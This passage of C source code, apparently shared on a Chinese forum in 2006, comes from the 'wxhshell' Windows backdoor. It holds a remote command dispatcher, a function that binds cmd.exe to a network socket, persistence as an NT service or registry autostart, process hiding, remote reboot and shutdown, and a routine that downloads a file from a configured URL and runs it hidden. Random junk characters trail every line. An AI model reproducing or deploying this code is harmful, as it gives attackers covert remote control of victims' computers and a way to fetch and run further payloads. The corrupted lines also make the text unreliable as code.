      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~N'KIP[W  
    break; XE$eHx3;  
  } e`$v\7K  
  // 安装 3<+l.Wly  
  case 'i': { l}(~q!r  
    if(Install()) V6$v@Zq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .<42-IEc  
    else p]+W1v}V!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y+?bo9CES!  
    break; '*3+'>   
    } X\%],"9%  
  // 卸载 {b<8Z*4W  
  case 'r': { 5[gkGKkf_  
    if(Uninstall()) ?o.G@-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =,@SZsM*B  
    else jQ`"Op 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %q*U[vv  
    break; nLtP^ 1~9H  
    } cR5<.$aY  
  // 显示 wxhshell 所在路径 KH KqE6  
  case 'p': { &`TX4b^/!  
    char svExeFile[MAX_PATH]; =_yOX=g|  
    strcpy(svExeFile,"\n\r"); N%B#f\N  
      strcat(svExeFile,ExeFile); 8:&@MZQ&!  
        send(wsh,svExeFile,strlen(svExeFile),0); TVFGonVY  
    break; %okEN !=  
    } iD(K*[;lc  
  // 重启 #Y18z5vo  
  case 'b': { z|b4w7 I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &6\rKOsn  
    if(Boot(REBOOT)) @6D<D6`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9i`LOl:;  
    else { tIr66'8  
    closesocket(wsh); d,QJf\fc"  
    ExitThread(0); VS).!;>z  
    } XPEjMm'*b3  
    break; akqXh 9g  
    } `a6;*r y  
  // 关机 tcX7Ua(I`  
  case 'd': { 95!xTf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Z{^i3 gN  
    if(Boot(SHUTDOWN)) D\`$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W;-Qze\D  
    else { u%h<5WNh<  
    closesocket(wsh); }dXL= ul  
    ExitThread(0); v%FVz  
    } lpp'.HTP  
    break; ,DE%p +q  
    } -%N (X8  
  // 获取shell tRv#%>fj  
  case 's': { XW#4C*5?d  
    CmdShell(wsh); Lw#h nLI.  
    closesocket(wsh); J`mp8?;%  
    ExitThread(0); .Nf*Yqs0  
    break; +'Ge?(E4_  
  } <K0lS;@K  
  // 退出 Sc0ZT/Lm  
  case 'x': { MYx*W7X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F@I_sGCcb  
    CloseIt(wsh); Va 5U`0  
    break; Yr31GJ}K  
    } SUVr&S6Nk  
  // 离开 & aLR'*]6  
  case 'q': { OKU P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SA&wW\Ym]  
    closesocket(wsh); n)=&=Uj`f  
    WSACleanup(); \D[BRE+  
    exit(1); vB Jva8;Q  
    break; 16+@#d%#p  
        } K7l{&2>?  
  } AHA*yC  
  } .6"7Xxe]<  
95<:-?4C;W  
  // 提示信息 f@}(<#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S; c=6@"  
} M)xK+f2_[  
  } )b7mzDp(  
dG rA18  
  return; ='JX_U`A^F  
} *= 71/&B  
MJC Yi<D  
// shell模块句柄 }"8_$VDcz  
int CmdShell(SOCKET sock) +\ySx^vi  
{ bCrB'&^t  
STARTUPINFO si; 2<O8=I _  
ZeroMemory(&si,sizeof(si)); Ya. $x~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u<8Q[_E&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &q U[ wn:1  
PROCESS_INFORMATION ProcessInfo; :U*[s$  
char cmdline[]="cmd"; fr?eOigbl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'I~dJEW7  
  return 0; %qQ(@TG  
} 4mAtYm  
%G@aZWk Sa  
// 自身启动模式 @$*c0 . |z  
int StartFromService(void) 96.Wfx  
{ <#Lw.;(U;k  
typedef struct x -!FS h8q  
{ ?gtkf[0B|  
  DWORD ExitStatus; fkG8,=  
  DWORD PebBaseAddress; 8j$q%g  
  DWORD AffinityMask; 3q>"#+R.t  
  DWORD BasePriority; ,*4"d._Y  
  ULONG UniqueProcessId; [Ok8l='  
  ULONG InheritedFromUniqueProcessId; >H1d9y +Z  
}   PROCESS_BASIC_INFORMATION; s`B'vyoaa  
?*@h]4+k'  
PROCNTQSIP NtQueryInformationProcess; dF,FH-  
5^dw!^d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C;5}/J^E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1fy{@j(W  
=FbfV*K 9  
  HANDLE             hProcess; E;4a(o]{t  
  PROCESS_BASIC_INFORMATION pbi; 7" [;M  
ts]7 + 6V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .9xGLmg  
  if(NULL == hInst ) return 0; ' 7A7HDJ  
_#O?g=1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FCWphpz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Gn[T1p?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7q2YsI  
.T|NB8 rS  
  if (!NtQueryInformationProcess) return 0; zT% kx:Fk  
=/;_7|ssd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P1QJ'eC;T  
  if(!hProcess) return 0; Kq$Zyf=E  
ie!4z34  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W!k6qTz)  
3EvA 5K.  
  CloseHandle(hProcess); #+;=ijyF  
taQ[>x7b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  T_uuFL  
if(hProcess==NULL) return 0; 7|-xM>L$A  
zEW:Xe)  
HMODULE hMod; fq|2E&&v  
char procName[255]; _&/Zab5  
unsigned long cbNeeded; Z@ kC28  
mTfMuPPs[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uFm-HR@4  
"{_"Nj H  
  CloseHandle(hProcess); ^H4i Hjg  
A 5 X+Z  
if(strstr(procName,"services")) return 1; // 以服务启动 $D5U#  
h+UscdU l  
  return 0; // 注册表启动 |pqpF?h5|  
} k)py\  
`<zb  
// 主模块 .F2nF8  
int StartWxhshell(LPSTR lpCmdLine) {nefS\#{  
{ .6 NSt  
  SOCKET wsl; hYn'uL^~[  
BOOL val=TRUE; 6bNW1]rD  
  int port=0; fn OkH  
  struct sockaddr_in door; bJm0  
0EOX@;}  
  if(wscfg.ws_autoins) Install(); s%oAsQ_y  
#P#R~b]  
port=atoi(lpCmdLine); [bG>qe1}&  
0*?XQV@  
if(port<=0) port=wscfg.ws_port; yV/ J(  
SN(=e#ljE  
  WSADATA data; noA\5&hqW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )6&\WNL-x  
pT@!O}'$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \&5@yh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LG#w/).^  
  door.sin_family = AF_INET; $>=Nb~t!/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0 '7s  
  door.sin_port = htons(port); wW8 6rB  
rfRo*u2"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N[bN"'U/1  
closesocket(wsl); eC?/l*gF 3  
return 1; rR@n> Xx  
} J&:W4\ m  
$ bNe0  
  if(listen(wsl,2) == INVALID_SOCKET) { Hi_Al,j:  
closesocket(wsl); RYl3txw  
return 1; _[i=TqVmf  
} !rg0U<bO!  
  Wxhshell(wsl); @>2rz  
  WSACleanup(); V6MT>T  
93IOG{OAY  
return 0; 4AOS}@~W  
U;{,lS2l  
} MQ(/l_=zQ  
W8$=a  
// 以NT服务方式启动 i?>> 9f@F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CQ.4,S}6'  
{ }c4E 2c  
DWORD   status = 0; :.o=F`W  
  DWORD   specificError = 0xfffffff; ;"Y;l=9_  
hlFU"u_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R}wwC[{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l5';?>!s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p@8krOo`  
  serviceStatus.dwWin32ExitCode     = 0; qM>OE8c#/  
  serviceStatus.dwServiceSpecificExitCode = 0; $Kz\ h#}  
  serviceStatus.dwCheckPoint       = 0; NB5L{Gf6-  
  serviceStatus.dwWaitHint       = 0; OF<n T  
@MZ6E$I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x;FO|fH  
  if (hServiceStatusHandle==0) return; 62)lf2$1  
QP5:M!O<)  
status = GetLastError(); xrVZxK:!  
  if (status!=NO_ERROR) S~rVRC"<xo  
{ aC yb-P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .;Utkf'I  
    serviceStatus.dwCheckPoint       = 0; Z#Zzi5<  
    serviceStatus.dwWaitHint       = 0; 4zqE?$HM'  
    serviceStatus.dwWin32ExitCode     = status; \kV7NA  
    serviceStatus.dwServiceSpecificExitCode = specificError; uP{+?#a_-\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tw4am.o1]  
    return; }'V'Y[  
  } ,rFLpQl  
vg:J#M:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ro&Y7m  
  serviceStatus.dwCheckPoint       = 0; M-Z6TL  
  serviceStatus.dwWaitHint       = 0; $sc8)d\B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y:|.m@ j1  
} J;=aIiN]R  
Fm$n@R bX  
// 处理NT服务事件,比如:启动、停止 L2>?m`wp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hw ;dm  
{ *T>#zR{  
switch(fdwControl) =!S@tuY  
{ fteyG$-s  
case SERVICE_CONTROL_STOP: i[ Gw 7'f  
  serviceStatus.dwWin32ExitCode = 0; 9(^X2L&Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _N,KHxsG8B  
  serviceStatus.dwCheckPoint   = 0; =o{: -EKQF  
  serviceStatus.dwWaitHint     = 0; 4-M6C 5#.  
  { 1Fvv/Tj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0$"Q&5Y  
  } [Yx-l;78  
  return; /R(U>pZ  
case SERVICE_CONTROL_PAUSE: 8 g# Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7o965h  
  break; @8M'<tr<z  
case SERVICE_CONTROL_CONTINUE: tLXn?aNY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F@_Egi  
  break; ;H y!0n  
case SERVICE_CONTROL_INTERROGATE: 1RI#kti-"  
  break; /md Q(Dm  
}; 9Nag%o{*S>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o^_W$4Fc  
} Ql#W /x,e  
1(:b{Bl  
// 标准应用程序主函数 3d#9Wyxs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U= c5zrs  
{ dS3>q<J*a  
o}mhy`}  
// 获取操作系统版本 Pa +AF  
OsIsNt=GetOsVer(); "]SJbuzh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gQI(=in  
$dx1[ V+_  
  // 从命令行安装 6z p@#vYI  
  if(strpbrk(lpCmdLine,"iI")) Install(); >uyeI&z  
<nOuyGIZ  
  // 下载执行文件 r?"}@MRW  
if(wscfg.ws_downexe) { $LxG>db  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GFQG(7G9  
  WinExec(wscfg.ws_filenam,SW_HIDE); n~"g'Y  
}  EbBv}9g  
u,Q_WR-wJ  
if(!OsIsNt) { nj~$%vmA  
// 如果时win9x,隐藏进程并且设置为注册表启动 aR="5{en{:  
HideProc(); {hs2?#p  
StartWxhshell(lpCmdLine); (5Z8zNH`3  
}  \]f5  
else mJGO)u&  
  if(StartFromService()) V(lK`dY  
  // 以服务方式启动 GG@I!2,_  
  StartServiceCtrlDispatcher(DispatchTable); YoV^xl6g  
else t3  uB  
  // 普通方式启动 c]%;^)  
  StartWxhshell(lpCmdLine); @o4z3Q@  
@wYQLZ  
return 0; }{#;;5KrB  
}
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只看该作者 1 发表于: 2006-10-10
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